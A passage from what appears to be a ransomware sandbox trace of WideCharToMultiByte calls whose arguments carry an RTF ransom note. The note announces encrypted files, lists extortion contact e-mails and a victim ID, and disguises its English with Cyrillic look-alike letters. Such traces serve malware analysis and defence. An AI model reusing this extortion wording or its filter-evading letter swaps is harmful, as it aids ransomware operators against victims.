nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.891] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2734c38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 